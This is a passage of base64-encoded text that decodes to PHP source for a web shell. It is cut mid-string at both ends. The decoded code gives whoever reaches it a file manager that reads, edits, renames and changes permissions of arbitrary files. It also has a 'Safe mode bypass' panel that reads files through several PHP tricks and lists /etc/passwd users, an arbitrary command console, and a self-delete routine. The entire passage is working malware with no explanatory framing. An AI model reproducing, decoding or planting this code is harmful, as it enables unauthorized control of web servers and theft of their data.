V4aXN0cygkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICd3Jyk7CiAgICAgICAgICAgIGlmKCRmcCkgewogICAgICAgICAgICAgICAgJF9QT1NUWydwMiddID0gImVkaXQiOwogICAgICAgICAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9CiAgICBwcmludEhlYWRlcigpOwogICAgZWNobyAnPGgxPkZpbGUgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwogICAgaWYoICFmaWxlX2V4aXN0cyhAJF9QT1NUWydwMSddKSApIHsKICAgICAgICBlY2hvICdGaWxlIG5vdCBleGlzdHMnOwogICAgICAgIHByaW50Rm9vdGVyKCk7CiAgICAgICAgcmV0dXJuOwogICAgfQogICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOwogICAgJGdpZCA9IEBwb3NpeF9nZXRncmdpZChAZmlsZW93bmVyKCRfUE9TVFsncDEnXSkpOwogICAgZWNobyAnPHNwYW4+TmFtZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pLicgPHNwYW4+U2l6ZTo8L3NwYW4+ICcuKGlzX2ZpbGUoJF9QT1NUWydwMSddKT92aWV3U2l6ZShmaWxlc2l6ZSgkX1BPU1RbJ3AxJ10pKTonLScpLicgPHNwYW4+UGVybWlzc2lvbjo8L3NwYW4+ICcudmlld1Blcm1zQ29sb3IoJF9QT1NUWydwMSddKS4nIDxzcGFuPk93bmVyL0dyb3VwOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nPGJyPic7CiAgICBlY2hvICc8c3Bhbj5DcmVhdGUgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVjdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPkFjY2VzcyB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZWF0aW1lKCRfUE9TVFsncDEnXSkpLicgPHNwYW4+TW9kaWZ5IHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJzxicj48YnI+JzsKICAgIGlmKCBlbXB0eSgkX1BPU1RbJ3AyJ10pICkKICAgICAgICAkX1BPU1RbJ3AyJ10gPSAndmlldyc7CiAgICBpZiggaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICkKICAgICAgICAkbSA9IGFycmF5KCdWaWV3JywgJ0hpZ2hsaWdodCcsICdEb3dubG9hZCcsICdIZXhkdW1wJywgJ0VkaXQnLCAnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7CiAgICBlbHNlCiAgICAgICAgJG0gPSBhcnJheSgnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7CiAgICBmb3JlYWNoKCRtIGFzICR2KQogICAgICAgIGVjaG8gJzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxudWxsLFwnJy5zdHJ0b2xvd2VyKCR2KS4nXCcpIj4nLigoc3RydG9sb3dlcigkdik9PUAkX1BPU1RbJ3AyJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8L2E+ICc7CiAgICBlY2hvICc8YnI+PGJyPic7CiAgICBzd2l0Y2goJF9QT1NUWydwMiddKSB7CiAgICAgICAgY2FzZSAndmlldyc6CiAgICAgICAgICAgIGVjaG8gJzxwcmUgY2xhc3M9bWwxPic7CiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7CiAgICAgICAgICAgIGlmKCRmcCkgewogICAgICAgICAgICAgICAgd2hpbGUoICFAZmVvZigkZnApICkKICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOwogICAgICAgICAgICAgICAgQGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzwvcHJlPic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2hpZ2hsaWdodCc6CiAgICAgICAgICAgIGlmKCBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pICkgewogICAgICAgICAgICAgICAgZWNobyAnPGRpdiBjbGFzcz1tbDEgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNlMWUxZTE7Y29sb3I6YmxhY2s7Ij4nOwogICAgICAgICAgICAgICAgJGNvZGUgPSBoaWdobGlnaHRfZmlsZSgkX1BPU1RbJ3AxJ10sdHJ1ZSk7CiAgICAgICAgICAgICAgICBlY2hvIHN0cl9yZXBsYWNlKGFycmF5KCc8c3BhbiAnLCc8L3NwYW4+JyksIGFycmF5KCc8Zm9udCAnLCc8L2ZvbnQ+JyksJGNvZGUpLic8L2Rpdj4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2NobW9kJzoKICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewogICAgICAgICAgICAgICAgJHBlcm1zID0gMDsKICAgICAgICAgICAgICAgIGZvcigkaT1zdHJsZW4oJF9QT1NUWydwMyddKS0xOyRpPj0wOy0tJGkpCiAgICAgICAgICAgICAgICAgICAgJHBlcm1zICs9IChpbnQpJF9QT1NUWydwMyddWyRpXSpwb3coOCwgKHN0cmxlbigkX1BPU1RbJ3AzJ10pLSRpLTEpKTsKICAgICAgICAgICAgICAgIGlmKCFAY2htb2QoJF9QT1NUWydwMSddLCAkcGVybXMpKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0NhblwndCBzZXQgcGVybWlzc2lvbnMhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsbnVsbCxudWxsLCIiKTwvc2NyaXB0PicpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5jaG1vZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNobW9kIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3AxJ10pKSwtNCkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ2VkaXQnOgogICAgICAgICAgICBpZiggIWlzX3dyaXRhYmxlKCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJsZSc7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CiAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoJF9QT1NUWydwMSddLCRfUE9TVFsncDMnXSk7CiAgICAgICAgICAgICAgICBlY2hvICdTYXZlZCE8YnI+PHNjcmlwdD5kb2N1bWVudC5tZi5wMy52YWx1ZT0iIjs8L3NjcmlwdD4nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy50ZXh0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT10ZXh0IGNsYXNzPWJpZ2FyZWE+JzsKICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsKICAgICAgICAgICAgaWYoJGZwKSB7CiAgICAgICAgICAgICAgICB3aGlsZSggIUBmZW9mKCRmcCkgKQogICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7CiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWNobyAnPC90ZXh0YXJlYT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAnaGV4ZHVtcCc6CiAgICAgICAgICAgICRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncDEnXSk7CiAgICAgICAgICAgICRuID0gMDsKICAgICAgICAgICAgJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7CiAgICAgICAgICAgICRsZW4gPSBzdHJsZW4oJGMpOwogICAgICAgICAgICBmb3IgKCRpPTA7ICRpPCRsZW47ICsrJGkpIHsKICAgICAgICAgICAgICAgICRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7CiAgICAgICAgICAgICAgICBzd2l0Y2ggKCBvcmQoJGNbJGldKSApIHsKICAgICAgICAgICAgICAgICAgICBjYXNlIDA6ICAkaFsyXSAuPSAnICc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGNhc2UgOTogICRoWzJdIC49ICcgJzsgYnJlYWs7CiAgICAgICAgICAgICAgICAgICAgY2FzZSAxMDogJGhbMl0gLj0gJyAnOyBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlIDEzOiAkaFsyXSAuPSAnICc7IGJyZWFrOwogICAgICAgICAgICAgICAgICAgIGRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkbisrOwogICAgICAgICAgICAgICAgaWYgKCRuID09IDMyKSB7CiAgICAgICAgICAgICAgICAgICAgJG4gPSAwOwogICAgICAgICAgICAgICAgICAgIGlmICgkaSsxIDwgJGxlbikgeyRoWzBdIC49IHNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+Jzt9CiAgICAgICAgICAgICAgICAgICAgJGhbMV0gLj0gJzxicj4nOwogICAgICAgICAgICAgICAgICAgICRoWzJdIC49ICJcbiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzx0YWJsZSBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTUgYmdjb2xvcj0jMjIyMjIyPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogbm9ybWFsOyI+PHByZT4nLiRoWzBdLic8L3ByZT48L3NwYW4+PC90ZD48dGQgYmdjb2xvcj0jMjgyODI4PjxwcmU+Jy4kaFsxXS4nPC9wcmU+PC90ZD48dGQgYmdjb2xvcj0jMzMzMzMzPjxwcmU+Jy5odG1sc3BlY2lhbGNoYXJzKCRoWzJdKS4nPC9wcmU+PC90ZD48L3RyPjwvdGFibGU+JzsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSAncmVuYW1lJzoKICAgICAgICAgICAgaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgewogICAgICAgICAgICAgICAgaWYoIUByZW5hbWUoJF9QT1NUWydwMSddLCAkX1BPU1RbJ3AzJ10pKQogICAgICAgICAgICAgICAgICAgIGVjaG8gJ0NhblwndCByZW5hbWUhPGJyPjxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKICAgICAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsIicudXJsZW5jb2RlKCRfUE9TVFsncDMnXSkuJyIsbnVsbCwiIik8L3NjcmlwdD4nKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMubmFtZS52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PGlucHV0IHR5cGU9dGV4dCBuYW1lPW5hbWUgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlICd0b3VjaCc6CiAgICAgICAgICAgIGlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsKICAgICAgICAgICAgICAgICR0aW1lID0gc3RydG90aW1lKCRfUE9TVFsncDMnXSk7CiAgICAgICAgICAgICAgICBpZigkdGltZSkgewogICAgICAgICAgICAgICAgICAgIGlmKEB0b3VjaCgkX1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpKQogICAgICAgICAgICAgICAgICAgICAgICBkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsbnVsbCxudWxsLCIiKTwvc2NyaXB0PicpOwogICAgICAgICAgICAgICAgICAgIGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICdGYWlsITxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGVsc2UgZWNobyAnQmFkIHRpbWUgZm9ybWF0ITxzY3JpcHQ+ZG9jdW1lbnQubWYucDMudmFsdWU9IiI7PC9zY3JpcHQ+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBlY2hvICc8Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLG51bGwsbnVsbCxudWxsLHRoaXMudG91Y2gudmFsdWUpO3JldHVybiBmYWxzZTsiPjxpbnB1dCB0eXBlPXRleHQgbmFtZT10b3VjaCB2YWx1ZT0iJy5kYXRlKCJZLW0tZCBIOmk6cyIsIEBmaWxlbXRpbWUoJF9QT1NUWydwMSddKSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgJ21rZmlsZSc6CiAgICAgICAgICAgIAogICAgICAgICAgICBicmVhazsKICAgIH0KICAgIGVjaG8gJzwvZGl2Pic7CiAgICBwcmludEZvb3RlcigpOwp9CgpmdW5jdGlvbiBhY3Rpb25TYWZlTW9kZSgpIHsKICAgICR0ZW1wPScnOwogICAgb2Jfc3RhcnQoKTsKICAgIHN3aXRjaCgkX1BPU1RbJ3AxJ10pIHsKICAgICAgICBjYXNlIDE6CiAgICAgICAgICAgICR0ZW1wPUB0ZW1wbmFtKCR0ZXN0LCAnY3gnKTsKICAgICAgICAgICAgaWYoQGNvcHkoImNvbXByZXNzLnpsaWI6Ly8iLiRfUE9TVFsncDInXSwgJHRlbXApKXsKICAgICAgICAgICAgICAgIGVjaG8gQGZpbGVfZ2V0X2NvbnRlbnRzKCR0ZW1wKTsKICAgICAgICAgICAgICAgIHVubGluaygkdGVtcCk7CiAgICAgICAgICAgIH0gZWxzZQogICAgICAgICAgICAgICAgZWNobyAnU29ycnkuLi4gQ2FuXCd0IG9wZW4gZmlsZSc7CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgMjoKICAgICAgICAgICAgJGZpbGVzID0gZ2xvYigkX1BPU1RbJ3AyJ10uJyonKTsKICAgICAgICAgICAgaWYoIGlzX2FycmF5KCRmaWxlcykgKQogICAgICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmaWxlbmFtZSkKICAgICAgICAgICAgICAgICAgICBlY2hvICRmaWxlbmFtZS4iXG4iOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlIDM6CiAgICAgICAgICAgICRjaCA9IGN1cmxfaW5pdCgiZmlsZTovLyIuJF9QT1NUWydwMiddLiJceDAwIi5TRUxGX1BBVEgpOwogICAgICAgICAgICBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgY2FzZSA0OgogICAgICAgICAgICBpbmlfcmVzdG9yZSgic2FmZV9tb2RlIik7CiAgICAgICAgICAgIGluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsKICAgICAgICAgICAgaW5jbHVkZSgkX1BPU1RbJ3AyJ10pOwogICAgICAgICAgICBicmVhazsKICAgICAgICBjYXNlIDU6CiAgICAgICAgICAgIGZvcig7JF9QT1NUWydwMiddIDw9ICRfUE9TVFsncDMnXTskX1BPU1RbJ3AyJ10rKykgewogICAgICAgICAgICAgICAgJHVpZCA9IEBwb3NpeF9nZXRwd3VpZCgkX1BPU1RbJ3AyJ10pOwogICAgICAgICAgICAgICAgaWYgKCR1aWQpCiAgICAgICAgICAgICAgICAgICAgZWNobyBqb2luKCc6JywkdWlkKS4iXG4iOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgNjoKICAgICAgICAgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnaW1hcF9vcGVuJykpYnJlYWs7CiAgICAgICAgICAgICRzdHJlYW0gPSBpbWFwX29wZW4oJF9QT1NUWydwMiddLCAiIiwgIiIpOwogICAgICAgICAgICBpZiAoJHN0cmVhbSA9PSBGQUxTRSkKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBlY2hvIGltYXBfYm9keSgkc3RyZWFtLCAxKTsKICAgICAgICAgICAgaW1hcF9jbG9zZSgkc3RyZWFtKTsKICAgICAgICAgICAgYnJlYWs7CiAgICB9CiAgICAkdGVtcCA9IG9iX2dldF9jbGVhbigpOwogICAgcHJpbnRIZWFkZXIoKTsKICAgIGVjaG8gJzxoMT5TYWZlIG1vZGUgYnlwYXNzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKICAgIGVjaG8gJzxzcGFuPkNvcHkgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMSIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkdsb2IgKGxpc3QgZGlyKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIyIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+Q3VybCAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIzIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT48YnI+PHNwYW4+SW5pX3Jlc3RvcmUgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNCIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPlBvc2l4X2dldHB3dWlkICgiUmVhZCIgL2V0Yy9wYXNzd2QpPC9zcGFuPjx0YWJsZT48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCI1Iix0aGlzLnBhcmFtMS52YWx1ZSx0aGlzLnBhcmFtMi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjx0cj48dGQ+RnJvbTwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTEgdmFsdWU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UbzwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTIgdmFsdWU9MTAwMD48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxicj48c3Bhbj5JbWFwX29wZW4gKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNiIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsKICAgIGlmKCR0ZW1wKQogICAgICAgIGVjaG8gJzxwcmUgY2xhc3M9Im1sMSIgc3R5bGU9Im1hcmdpbi10b3A6NXB4IiBpZD0iT3V0cHV0Ij4nLiR0ZW1wLic8L3ByZT4nOwogICAgZWNobyAnPC9kaXY+JzsKICAgIHByaW50Rm9vdGVyKCk7Cn0KCmZ1bmN0aW9uIGFjdGlvbkNvbnNvbGUoKSB7CiAgICBpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsKICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7CiAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICBlY2hvICJkb2N1bWVudC5jZi5jbWQudmFsdWU9Jyc7XG4iOwogICAgICAgICR0ZW1wID0gQGljb252KCRfUE9TVFsnY2hhcnNldCddLCAnVVRGLTgnLCBhZGRjc2xhc2hlcygiXG4kICIuJF9QT1NUWydwMSddLiJcbiIuZXgoJF9QT1NUWydwMSddKSwiXG5cclx0XFwnXDAiKSk7CiAgICAgICAgaWYocHJlZ19tYXRjaCgiIS4qY2RccysoW147XSspJCEiLCRfUE9TVFsncDEnXSwkbWF0Y2gpKSAgICB7CiAgICAgICAgICAgIGlmKEBjaGRpcigkbWF0Y2hbMV0pKSB7CiAgICAgICAgICAgICAgICAkR0xPQkFMU1snY3dkJ10gPSBAZ2V0Y3dkKCk7CiAgICAgICAgICAgICAgICBlY2hvICJkb2N1bWVudC5tZi5jLnZhbHVlPSciLiRHTE9CQUxTWydjd2QnXS4iJzsiOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gImRvY3VtZW50LmNmLm91dHB1dC52YWx1ZSs9JyIuJHRlbXAuIic7IjsKICAgICAgICBlY2hvICJkb2N1bWVudC5jZi5vdXRwdXQuc2Nyb2xsVG9wID0gZG9jdW1lbnQuY2Yub3V0cHV0LnNjcm9sbEhlaWdodDsiOwogICAgICAgICR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7CiAgICAgICAgZWNobyBzdHJsZW4oJHRlbXApLCAiXG4iLCAkdGVtcDsKICAgICAgICBleGl0OwogICAgfQogICAgcHJpbnRIZWFkZXIoKTsKCmVjaG8gJzxzY3JpcHQ+CmlmKHdpbmRvdy5FdmVudCkgd2luZG93LmNhcHR1cmVFdmVudHMoRXZlbnQuS0VZRE9XTik7CnZhciBjbWRzID0gbmV3IEFycmF5KCIiKTsKdmFyIGN1ciA9IDA7CmZ1bmN0aW9uIGtwKGUpIHsKICAgIHZhciBuID0gKHdpbmRvdy5FdmVudCkgPyBlLndoaWNoIDogZS5rZXlDb2RlOwogICAgaWYobiA9PSAzOCkgewogICAgICAgIGN1ci0tOwogICAgICAgIGlmKGN1cj49MCkKICAgICAgICAgICAgZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOwogICAgICAgIGVsc2UKICAgICAgICAgICAgY3VyKys7CiAgICB9IGVsc2UgaWYobiA9PSA0MCkgewogICAgICAgIGN1cisrOwogICAgICAgIGlmKGN1ciA8IGNtZHMubGVuZ3RoKQogICAgICAgICAgICBkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07CiAgICAgICAgZWxzZQogICAgICAgICAgICBjdXItLTsKICAgIH0KfQpmdW5jdGlvbiBhZGQoY21kKSB7CiAgICBjbWRzLnBvcCgpOwogICAgY21kcy5wdXNoKGNtZCk7CiAgICBjbWRzLnB1c2goIiIpOwogICAgY3VyID0gY21kcy5sZW5ndGgtMTsKfQo8L3NjcmlwdD4nOwogICAgZWNobyAnPGgxPkNvbnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPWNmIG9uc3VibWl0PSJpZihkb2N1bWVudC5jZi5jbWQudmFsdWU9PVwnY2xlYXJcJyl7ZG9jdW1lbnQuY2Yub3V0cHV0LnZhbHVlPVwnXCc7ZG9jdW1lbnQuY2YuY21kLnZhbHVlPVwnXCc7cmV0dXJuIGZhbHNlO31hZGQodGhpcy5jbWQudmFsdWUpO2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5jbWQudmFsdWUpO30gcmV0dXJuIGZhbHNlOyI+PHNlbGVjdCBuYW1lPWFsaWFzPic7CiAgICBmb3JlYWNoKCRHTE9CQUxTWydhbGlhc2VzJ10gYXMgJG4gPT4gJHYpIHsKICAgICAgICBpZigkdiA9PSAnJykgewogICAgICAgICAgICBlY2hvICc8b3B0Z3JvdXAgbGFiZWw9Ii0nLmh0bWxzcGVjaWFsY2hhcnMoJG4pLictIj48L29wdGdyb3VwPic7CiAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgIH0KICAgICAgICBlY2hvICc8b3B0aW9uIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiciPicuJG4uJzwvb3B0aW9uPic7CiAgICB9CiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQogICAgICAgICRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gZmFsc2U7CiAgICBlY2hvICc8L3NlbGVjdD48aW5wdXQgdHlwZT1idXR0b24gb25jbGljaz0iYWRkKGRvY3VtZW50LmNmLmFsaWFzLnZhbHVlKTtpZihkb2N1bWVudC5jZi5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLGRvY3VtZW50LmNmLmFsaWFzLnZhbHVlKTt9ZWxzZXtnKG51bGwsbnVsbCxkb2N1bWVudC5jZi5hbGlhcy52YWx1ZSk7fSIgdmFsdWU9Ij4+Ij4gPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1hamF4IHZhbHVlPTEgJy4oJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVg8YnIvPjx0ZXh0YXJlYSBjbGFzcz1iaWdhcmVhIG5hbWU9b3V0cHV0IHN0eWxlPSJib3JkZXItYm90dG9tOjA7IiByZWFkb25seT4nOwogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoIiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi5leCgkX1BPU1RbJ3AxJ10pKTsKICAgIH0KICAgIGVjaG8gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWNtZCBzdHlsZT0iYm9yZGVyLXRvcDowO3dpZHRoOjEwMCU7IiBvbmtleWRvd249ImtwKGV2ZW50KTsiPic7CiAgICBlY2hvICc8L2Zvcm0+PC9kaXY+PHNjcmlwdD5kb2N1bWVudC5jZi5jbWQuZm9jdXMoKTs8L3NjcmlwdD4nOwogICAgcHJpbnRGb290ZXIoKTsKfQoKZnVuY3Rpb24gYWN0aW9uTG9nb3V0KCkgewogICAgdW5zZXQoJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSk7CiAgICBlY2hvICc8Ym9keSBiZ2NvbG9yPSMwMDAwMDA+PGNlbnRlcj48aW1nIHNyYz0iaHR0cDovL3d3dy5pdGVjaGNvZGUuY29tL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDEyLzA0L1NlY3JldC1vZi1CbG9nZ2luZy1TdWNjZXNzZnVsbHkuanBnIj48L2NlbnRlcj48L2JvZHk+JzsKfQoKZnVuY3Rpb24gYWN0aW9uU2VsZlJlbW92ZSgpIHsKICAgIHByaW50SGVhZGVyKCk7CiAgICBpZigkX1BPU1RbJ3AxJ10gPT0gJ3llcycpIHsKICAgICAgICBpZihAdW5saW5rKFNFTEZfUEFUSCkpCiAgICAgICAgICAgIGRpZSgnU2hlbGwgaGFzIGJlZW4gcmVtb3ZlZCcpOwogICAgICAgIGVsc2UKICAgICAgICAgICAgZWNobyAndW5saW5rIGVycm9yISc7CiAgICB9CiAgICBlY2hvICc8aDE+U3VpY2lkZTwvaDE+PGRpdiBjbGFzcz